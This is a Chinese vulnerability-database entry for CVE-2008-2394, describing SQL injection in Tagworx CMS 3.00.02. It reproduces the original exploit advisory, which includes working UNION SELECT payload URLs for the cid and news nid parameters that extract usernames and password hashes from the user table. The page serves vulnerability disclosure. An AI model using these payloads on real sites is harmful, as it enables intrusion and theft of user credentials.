Tagworx Tagworx_cms 多个SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1115236 漏洞类型 SQL注入
发布时间 2008-05-18 更新时间 2008-05-21
CVE编号 CVE-2008-2394 CNNVD-ID CNNVD-200805-281
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/5642
https://www.securityfocus.com/bid/81338
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200805-281
|漏洞详情
TAGWORX.CMS3.00.02版本存在多个SQL注入漏洞。远程攻击者可以借助到contact.php的cid参数和到news.php的nid参数,执行任意的SQL指令。
|漏洞EXP
:::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.eu ]

 ##########################################################
 #  [ TAGWORX.CMS ]   Remote SQL Injection Vulnerability  #
 ##########################################################
 #
 # Script site: http://www.tagworx.net/
 # 
 # Vuln: 
 # -contact.php:
 # http://site.com/contact.php?cid=-1+UNION+SELECT+concat_ws(char(58),id,user_nick,user_pass,concat(user_prename,char(0x20),user_name))+from+t_user--
 # or
 # http://site.com/contact.php?cid=-1+UNION+SELECT+1,2,concat_ws(char(58),id,user_nick,user_pass,concat(user_prename,char(0x20),user_name))+from+t_user--
 # 	
 # -news.php: 
 # http://site.com/news.php?nid=-1+UNION+SELECT+1,2,3,concat_ws(char(58),id,user_nick,user_pass,concat(user_prename,char(0x20),user_name)),5,6+from+t_user--
 #	 
 # table_name= t_user or l_user
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * sid_psycho * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-05-18]
|受影响的产品
Tagworx Tagworx Cms 3.00.02
|参考资料

来源:www.tagworx.net
链接:http://www.tagworx.net/webdesign_seo_muenchen.php?cid=79&pid=5
来源:MILW0RM
名称:5642
链接:http://www.milw0rm.com/exploits/5642
来源:VUPEN
名称:ADV-2008-1561
链接:http://www.frsirt.com/english/advisories/2008/1561/references
来源:SECUNIA
名称:30149
链接:http://secunia.com/advisories/30149
来源:XF
名称:tagworx-contact-news-sql-injection(42512)
链接:http://xforce.iss.net/xforce/xfdb/42512